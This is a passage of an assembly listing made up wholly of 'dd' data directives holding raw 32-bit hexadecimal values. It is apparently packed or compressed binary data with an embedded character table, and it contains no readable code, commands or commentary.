		dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h,	1D0FBA2Ch
		dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h,	196E4C16h
		dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh
		dd 0D11F3Bh, 2D7B5D3Ch,	0E468A3h, 0F8B8292Ah, 8D4C4D2h
		dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh,	6D1EBA3Ah
		dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h
		dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h
		dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h
		dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h
		dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h
		dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh
		dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h,	0DDABC0E3h
		dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h
		dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h
		dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h
		dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch,	0DB84CE52h
		dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh
		dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h,	3F094091h
		dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h,	0D925BD38h
		dd 5A06EC3Dh, 0B60A5Ch,	13406974h, 3D21E992h, 3E7CA84Bh
		dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h
		dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh
		dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h
		dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh,	5C328085h
		dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh,	58891040h
		dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h
		dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h
		dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h
		dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh,	88DC0FA1h
		dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h,	0CA88CABh
		dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h
		dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh
		dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h
		dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh
		dd 38E0AC84h, 7CEFD80h,	1CF47Ch, 68281178h, 89740F18h
		dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch,	0F8FAF71Eh
		dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh
		dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h
		dd 9FC700Ah, 7D97E800h,	81BA2098h, 80510995h, 0E0803F60h
		dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h,	0F3133AFCh
		dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h
		dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh,	18BF0372h
		dd 2C7F40FBh, 9B831F4Ch
		dd 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h,	0F3E11CC8h
		dd 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h
		dd 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h,	6C30BFF3h
		dd 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h
		dd 10917BEh, 763352A3h,	0E011D825h, 88028F4Bh, 0AAC81B1h
		dd 2B57E0C0h, 0C3B01F82h, 86E64084h, 2D3D1480h,	6D55AA12h
		dd 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h, 0C97E0B1Ah
		dd 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh, 0D8F320D9h
		dd 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h, 8A001508h
		dd 6623A2E0h, 0A20E86ABh, 2A54C0C3h, 4081007Fh,	0E3FE3306h
		dd 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h,	116049D2h
		dd 2BB48719h, 86081C01h, 27204EAh, 0EB09330h, 0E65D8A45h
		dd 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h, 83067Dh
		dd 0D7DAF7A7h, 0B1E46A6Fh, 0C4008AE0h, 8B5092AAh, 32DC61h
		dd 258C35F7h, 5B23F1Dh,	49430A01h, 0ED15D50Bh, 8BE980E7h
		dd 0AA040709h, 10F8DC3Bh, 4B735852h, 830E0F98h,	0A01D12FAh
		dd 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h, 0E03A8889h
		dd 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh, 4B0D002Dh
		dd 3DA0F475h, 0C57C031Eh, 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h
		dd 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h, 81891D8Ah
		dd 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h,	0E9027F76h
		dd 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h, 1E74D03Ch
		dd 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch, 0F7CC0784h
		dd 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h, 5C00041h
		dd 0EADFC42Bh, 26B8B701h, 0BA402A00h, 0BDE7602h, 1720029Bh
		dd 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h,	0EB48DBB6h
		dd 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h,	3600FD20h
		dd 33C81067h, 299D28h, 99593577h, 6E1940D0h, 0D9D60B1Eh
		dd 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h, 0E9EAC1EAh
		dd 136BC200h, 8C5AE8Fh,	5D770Bh, 0DE4F1673h, 68C61B28h
		dd 0F0578D00h, 5A80E84Ch, 9C220081h, 4BE96CBAh,	591F13F4h
		dd 60C79001h, 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h,	0E3AFF599h
		dd 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h, 16207536h
		dd 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh, 3046BA33h
		dd 403421EBh, 0B716C30Eh, 8745C019h, 0DA74D7h, 55F0F73Bh
		dd 4E775D05h, 1C042498h, 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h
		dd 374272Ch, 4D228039h,	103E9620h, 0EF560060h, 648AEDE2h
		dd 47F1906h, 52450B07h,	0C373020Dh, 3AAC88C0h, 0D0F400C4h
		dd 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch,	0A1C76630h
		dd 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h, 3925E430h
		dd 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h, 653B3Ah
		dd 1896DF36h, 0D78B46h,	424039EBh, 0D32D4CD8h, 1EDBFE01h
		dd 0CABF79DAh, 83C7D4h,	0F7D9E880h, 0EC5589C1h,	3E60CB00h
		dd 0EB01F8A2h, 71A400B6h, 1432AF43h, 0A7002DAEh, 0A1B42B93h
		dd 9C0FFAh, 0FBC1B801h,	589666EBh, 116BEC00h, 2703F80Eh
		dd 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h, 0E4E7006Ah
		dd 222C35Bh, 6084482Ah,	61E06B29h, 0E48BA13h, 0C20776A2h
		dd 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h
		dd 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh, 270045CEh
		dd 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h, 0C0074FC4h
		dd 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh, 803C2606h
		dd 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h, 0A4A68146h
		dd 5ECDE4F9h, 3880500h,	0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h
		dd 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h,	7FD307Ch
		dd 4DFF01F5h, 7475F425h, 0BB0D00C4h, 3414DE45h,	0E40FC400h
		dd 41AB127Eh, 43290104h, 4B0B1F91h, 0F9987150h,	0DEC16031h
		dd 6BB86600h, 2E6C9622h, 9E1E00EBh, 9A88FC25h, 0DD004517h
		dd 0F7EE7E0h, 1CC9B258h, 808DF228h, 0BF065975h,	0C200AA9Ah
		dd 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h, 736D3100h
		dd 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h, 0A03D0320h
		dd 58227507h, 4600BB09h, 119FA506h, 737B90AAh, 9D7E811Fh
		dd 326B800h, 0E1340h, 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h
		dd 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h, 0E051ECA2h
		dd 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h
		dd 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h, 0F8EF80BCh
		dd 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah, 7DDE515h
		dd 8E8C0h, 660F7004h, 45E33005h, 621DE27Ch, 480032EBh
		dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h
		dd 712FF83h, 8027730Fh,	351F707Ch, 44E425C6h, 4FE00E00h
		dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h
		dd 525F9862h, 7A533530h, 21190325h, 0F150A190h,	77835688h
		dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh
		dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h,	5C2C9DAEh
		dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h,	0F4891BFh
		dd 82D0EFDh, 81A70064h,	0B6B3DAh, 15730DE0h, 0E0549F2h
		dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah
		dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh
		dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh,	0EBECCC49h
		dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch
		dd 0B009873h, 3134C8Dh,	0C61602h, 80D58207h, 0F7D1853Fh
		dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h
		dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h
		dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h,	464E0107h
		dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh
		dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh,	0E83B960Ch
		dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h
		dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h
		dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh
		dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h,	0C40027DDh
		dd 0F03A2CF3h, 0F730Ah,	290DDA26h, 0CE904349h, 53B80600h
		dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h,	6BE4002Ah
		dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h
		dd 0B871F8h, 250E978Ah,	0F0340F4h, 0B67850Fh, 7606A055h
		dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h
		dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh
		dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h
		dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch
		dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h,	56520027h
		dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h
		dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh
		dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h
		dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh,	302F206Eh
		dd 42E4F178h, 1C0E397Eh
		dd 0E7760410h, 0A8340E1h, 2B110082h, 5025D453h,	8B0BB273h
		dd 33E9ABAh, 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh
		dd 408A07D0h, 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h
		dd 71060B41h, 70809DDBh, 0ACE6E2F3h, 85C33803h,	0B9038B61h
		dd 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h, 0F410E099h
		dd 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh
		dd 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h, 0EEE0E9C1h
		dd 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh, 2CE5C26h
		dd 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh, 0E09373FAh
		dd 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch
		dd 1F0F5372h, 0CC10E4C6h, 4E0002E0h, 0B8B9D75h,	0E498C985h
		dd 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h, 2BA9008Ch
		dd 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h, 0CE1F71A7h
		dd 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h, 0E9775A35h
		dd 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h, 0F30C5D70h
		dd 100E540h, 0DC92772h,	71C2F002h, 0D68B3E13h, 0CF507480h
		dd 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h, 0A02F0054h
		dd 91757948h, 11FE42A5h, 0B657700h, 75676B5h, 5478ABh
		dd 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h, 0A049481Ch
		dd 0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h, 0C8F94CAh
		dd 0FAD1004Bh, 8A7F2089h, 11005653h, 0B8E1CB27h, 0ADA17h
		dd 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh,	759F008Bh
		dd 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h, 28A00D5h
		dd 274307ECh, 0DE004647h, 7570B033h, 28E6E8h, 2A09BC80h
		dd 4B26048Bh, 16C78A00h, 0F13E0649h, 0F40000Dh,	0C8E65B81h
		dd 7D3B0C34h, 37311824h, 5711DCh, 40478014h, 0D97B754Bh
		dd 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h, 0F8E280ECh
		dd 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h, 0D9B013FCh
		dd 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh, 0A5799FD7h
		dd 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h, 0C70A57E2h
		dd 88A11C00h, 0F21F75Dh, 408C0059h, 183C8D12h, 307F2AC3h
		dd 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h,	0FC3245F3h
		dd 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h, 0E07D3173h
		dd 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch,	9BDD88B0h
		dd 1A1D0C71h, 0A89DE410h, 6EB78680h, 0C776B4h, 0DE3D34Ah
		dd 0D6E8FD4Fh, 7E400401h, 4730BE21h, 0E0446130h, 13FF7D18h
		dd 1A2CBFh, 0AF4ED6FAh,	0F2B89F23h, 59760E9h, 5FE4FE00h
		dd 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h, 33ADFC00h
		dd 8D487C06h, 89231FBBh, 0A7084157h, 61042035h,	904EF815h
		dd 54A2FE03h, 8041C59Ch, 7444342h, 48474645h, 4B4A0049h
		dd 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h, 62615A59h
		dd 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch, 7271706Fh
		dd 75740073h, 780E7776h, 307A79h, 34333231h, 37361C35h
		dd 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh, 703A3B2Ch
		dd 5C5F002Dh, 927222Ah,	91000D0Ah, 0AAE4C4E0h, 7388E867h
		dd 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h, 1490B926h
		dd 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h,	5C49E960h
		dd 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh, 96FC6B5Bh
		dd 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h, 0FC66C204h
		dd 190759E4h, 941FEBECh, 956BC70h, 4052008Ah, 0D4CF5C7Ch
		dd 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh,	83481F05h
		dd 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h, 0C6660347h
		dd 11F01600h, 5521429Fh, 4ABF0051h, 6C7EE292h, 0BB0076E1h
		dd 0EB071569h, 41B929h,	0DC30630Ah, 0AB83E806h,	5600807Eh
		dd 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h, 8F82B80Eh
		dd 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h, 0C7143032h
		dd 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h, 41FA6E7Eh
		dd 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh, 15684A00h
		dd 648CD44h, 387A4Bh, 519E418Bh, 2F02BAF3h, 921ACF07h
		dd 0E83084E9h, 7BDD206h, 0A7EC4FF9h, 2ADF90C2h,	2004589h
		dd 169F4999h, 0ECD9C65Ah, 6B7623h, 2F42C288h, 0F0CA36FFh
		dd 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h, 627F6FD8h
		dd 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh, 0D4952D01h
		dd 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h,	50B1C594h
		dd 2132839Fh, 0B2525207h, 62B071C4h, 790B0A0Dh,	1EB473FFh
		dd 15D80CAh, 0B186A9C6h, 0A33EF44Fh, 50495307h,	16B5B95Bh
		dd 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h, 52250194h
		dd 4690200h, 484EB36Fh,	0A25F0010h, 0BF446CF0h,	25001609h
		dd 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh, 47D10B00h
		dd 75484B0Dh, 782E74EEh, 0FAB70066h, 498A01D3h,	0C0F8840h
		dd 206A4306h, 0E183CAC1h, 6CD5003Fh, 184C2596h,	0EAFA270Eh
		dd 6031E70Fh, 0D6D4006Bh, 79FC6ACh, 68B1527Fh, 900A97C9h
		dd 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h,	477CE29Fh
		dd 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h, 5F1CF405h
		dd 8F000F15h, 334E99A4h, 0EC859A23h, 0F36A0058h, 0CAA15AA9h
		dd 761E05F1h, 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h,	0A2D0D6F5h
		dd 0A4EC64h, 0F692FF30h, 75023A07h, 0E2C64600h,	94D701EFh
		dd 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h, 5E90148Dh
		dd 139629h, 0C9241C1Eh,	0FE0274B1h, 1ADC0900h, 0D280B8FFh
		dd 3B5E079h, 754F4304h,	7DD830D3h, 10017414h, 0C45B1FFh
		dd 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h,	341D0F65h
		dd 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh, 582E38h
		dd 0F02D704Fh, 10E9A151h, 0A2271801h, 74532F85h, 0BCD1D8h
		dd 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h,	1E8AEB5h
		dd 0F6B02BCFh, 20E6D655h, 0F0122C84h, 9CECC3FAh, 0D465007Eh
		dd 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h,	12EC04B9h
		dd 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h,	1EAED4A3h
		dd 8FCAA4E4h, 5A3DD69h,	0DCB87610h, 0D0018BD7h,	89DF6F62h
		dd 9220A270h, 107891h, 13A9D812h, 2C78F0CBh, 80060B00h
		dd 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh, 154F1B00h
		dd 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh, 0F4716001h
		dd 91A5C438h, 875F0h, 0F24A5A33h, 44022717h, 41A4EF00h
		dd 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh, 57018D7Ah
		dd 0E8719D0Dh, 46C847BFh, 17C800A0h, 5FC34287h,	34029CDDh
		dd 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h, 19681384h
		dd 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h, 2C000279h
		dd 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h, 0C585F71Fh
		dd 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h, 0A094B17h
		dd 0CDE7B1h, 3A25A58Eh,	0E6AAEC29h, 93FA0044h, 0D01B9266h
		dd 5E01BB65h, 14B45026h, 2AD419F2h, 0C79F0987h,	0E60089A9h
		dd 0AF560574h, 316F839h, 9CB466ACh, 0D88CC364h,	758BDDh
		dd 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h, 0BA727Eh
		dd 27841D5h, 0C327116Ch
		dd 4B8E5901h, 0A6B01E5Fh, 40D2ECh, 7517496Fh, 227C3966h
		dd 0A39F4507h, 86202F71h, 0D94161h, 7BDB2529h, 676F881h
		dd 35A85500h, 75AE2638h, 0CB450093h, 1834EA74h,	232E04DFh
		dd 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h,	9854B34Ah
		dd 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h
		dd 0B062A7h, 42BFC963h,	1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah
		dd 124F1D5Bh, 9C5C044h,	2C464772h, 40703802h, 7D94C0AAh
		dd 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h, 7AF2357Bh
		dd 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h, 1B3BC13h
		dd 100B002Eh, 0E881A64Ah, 910F2924h, 60F164A5h,	9F0D9669h
		dd 95840046h, 866A4BF6h, 0E8075414h, 302B75FCh,	0F0CBE693h
		dd 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h,	5A59A165h
		dd 70A580F4h, 0A62107E2h, 436C14C4h, 35A94485h,	5F51E0DCh
		dd 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h, 0C807302Dh
		dd 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h, 35F00973h
		dd 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h, 4FDA8EC1h
		dd 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h, 61004384h
		dd 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh,	0F0A8E0D6h
		dd 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h,	0FC1807B2h
		dd 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh, 5DD0D45Fh
		dd 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h, 7B2CDC00h
		dd 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h, 52DF2347h
		dd 0F31617C0h, 4FAC0028h, 77E50FCCh, 3E002941h,	0C8099412h
		dd 1B1697h, 0F9A8072Dh,	7CD15A58h, 0F0564500h, 0BA51F6E6h
		dd 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h, 0C1ECF1EDh
		dd 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh
		dd 8CB000E6h, 70834FF8h, 7C0058FFh, 3C709EFh, 9160C0h
		dd 0A8A0048Ah, 3B94980Bh, 61114A00h, 51010244h,	0E3C10012h
		dd 88C33683h, 71174606h, 2800295Fh, 34B264ABh, 0A58B1DAEh
		dd 0E45200D2h, 92B2CB1h, 5CC45905h, 0C8016278h,	565B5A02h
		dd 7F89760h, 8BFC12AAh,	40C2B7F3h, 789E7908h, 0B1A96000h
		dd 985E58Eh, 0FE500134h, 4D8B42ACh, 0FD94DCDAh,	51E8AFF8h
		dd 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h, 0CEEA2FA3h
		dd 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh,	2C29BC6Dh
		dd 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh,	0ABE8C3C1h
		dd 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h
		dd 1C77CEEDh, 61E2BA6h,	814097AAh, 0E38D5426h, 5E280070h
		dd 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh, 834000E4h
		dd 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h, 0B7241E79h
		dd 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh,	891A0010h
		dd 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h, 0A98D00FEh
		dd 7ADF1DEh, 6600A5F3h,	2D5B1E29h, 51AABDh, 0CBCC734Ch
		dd 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h,	7C27785Eh
		dd 4C0081A9h, 0B22B1ED9h, 3B8352C0h, 0BD0088DAh, 0B3ABFE59h
		dd 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h, 0AF81EA92h
		dd 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh,	500EB3Bh
		dd 570F01B5h, 0C282Ch, 92049EC8h, 0CCE40DC9h, 0EE063Ch
		dd 10D008D4h, 0F831FCh,	1DD87D89h, 59226421h, 0AC1F34F8h
		dd 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h, 0BE002B24h
		dd 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h, 32002126h
		dd 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah, 600159Bh
		dd 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh, 9A0B2700h
		dd 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h, 9600DEFAh
		dd 1B88CCE8h, 0DC7EADh,	50E94151h, 0FBFE7DBh, 0BCDE6300h
		dd 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh,	0AC0040B0h
		dd 39B481B8h, 0F85BC5h,	0B6BE24FCh, 0DC224972h,	20581D73h
		dd 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh, 0D2732D16h
		dd 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h
		dd 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh,	0B6E0DE51h
		dd 505BAA8h, 64F9E3ECh,	0F195A50Ah, 54189107h, 8F200DBh
		dd 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h,	988603FDh
		dd 0C80A91D9h, 53AE5Bh,	175874DBh, 0EF0B4A4Eh, 0FF9CF018h
		dd 0EC7552h, 185F8068h,	0F4E363C1h, 0E02BA00h, 1E4E1077h
		dd 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h
		dd 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h
		dd 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh
		dd 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h
		dd 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh
		dd 4C0092DFh, 11D46D0h,	0F87032h, 0F4F15DD5h, 0EC933C2h
		dd 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h
		dd 8722703Fh, 0F5933Fh,	8F060F38h, 3BE30811h, 1680FA0Ah
